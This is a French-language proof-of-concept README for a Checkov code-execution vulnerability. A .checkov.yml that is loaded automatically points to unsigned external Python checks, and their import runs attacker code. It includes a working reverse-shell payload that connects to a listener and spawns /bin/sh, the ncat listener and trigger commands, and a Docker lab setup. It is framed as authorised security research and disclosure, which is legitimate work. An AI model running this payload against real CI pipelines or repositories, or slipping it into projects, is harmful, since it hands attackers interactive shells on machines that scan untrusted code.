
Checkov PoC : exécution de code arbitraire via une configuration auto-chargée et des checks Python externes non signés.
CVE : CVE-2026-0303 | Score de base CVSS : 6.3 | Sévérité : Faible
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Vulnérabilité d'exécution de code arbitraire dans Checkov.
Publiée par Palo Alto Networks le 9 septembre 2026.
Versions affectées : Checkov 3.2.0 à 3.2.531
Version corrigée : Checkov 3.2.532
Exécution de code arbitraire dans Checkov via un fichier .checkov.yml chargé automatiquement
-> exécution de code Python contrôlé par l'attaquant via une vérification externe personnalisée non signée.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov prend en charge les vérifications Python externes. Ces vérifications sont intentionnellement chargées en tant que modules Python, ce qui signifie que les instructions Python de niveau supérieur s'exécutent lors de l'import du module.
Lorsque Checkov analyse un répertoire, il recherche automatiquement dans ce répertoire un fichier de configuration
.checkov.yml ou .checkov.yaml ; un fichier de configuration contrôlé par l'attaquant pourrait définir
external-checks-dir vers un répertoire à l'intérieur du dépôt analysé.
Cela crée la chaîne d'exécution suivante :
La victime analyse un dépôt non fiable
->
Checkov charge automatiquement .checkov.yml
->
La configuration définit external-checks-dir
->
Checkov importe un module Python contrôlé par l'attaquant
->
Le code Python de niveau supérieur s'exécute avec les privilèges de Checkov
L'attaquant n'a pas besoin d'exploiter le parseur Terraform ni de fournir une politique Checkov valide. L'exécution du code se produit lorsque Checkov importe le fichier Python.
Cela est particulièrement pertinent pour les pipelines CI qui exécutent automatiquement Checkov contre des pull requests ou d'autres contenus de dépôt non fiables.
La charge utile du laboratoire se connecte depuis le conteneur Checkov à un écouteur sur l'hôte :
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modifiez la charge utile dans exploit\external-checks\poc_check.py :
lhost = "127.0.0.1"
lport = 4444
Démarrez un écouteur sur l'hôte :
ncat -lvkp 4444
Déclenchez le comportement vulnérable en analysant le répertoire contrôlé par l'attaquant :
checkov -d /workspace --framework terraform --skip-download
Checkov lit automatiquement /workspace/.checkov.yml, découvre le répertoire de vérifications externes
et importe poc_check.py. L'écouteur devrait recevoir le shell lorsque l'appel exploit() au niveau du module s'exécute.
J'ai fourni un laboratoire Docker simple que vous pouvez configurer via
docker compose up -d
et vous y connecter à son shell via
docker exec -it scan-server /bin/sh
Ce dépôt contient une preuve de concept indépendante pour CVE-2026-0303. La vulnérabilité a été recréée et testée dans un environnement de laboratoire isolé.
Ce projet est destiné uniquement à la recherche en sécurité autorisée, à l'éducation et aux tests dans des environnements isolés. Ne l'utilisez pas contre des systèmes, des réseaux, des dépôts ou des données sans autorisation explicite de leur propriétaire.
L'auteur fournit ce projet tel quel, sans garantie d'aucune sorte, et n'accepte aucune responsabilité pour les dommages, pertes de données, interruptions de service, accès non autorisés ou mauvaise utilisation de ce logiciel ou de ses dérivés.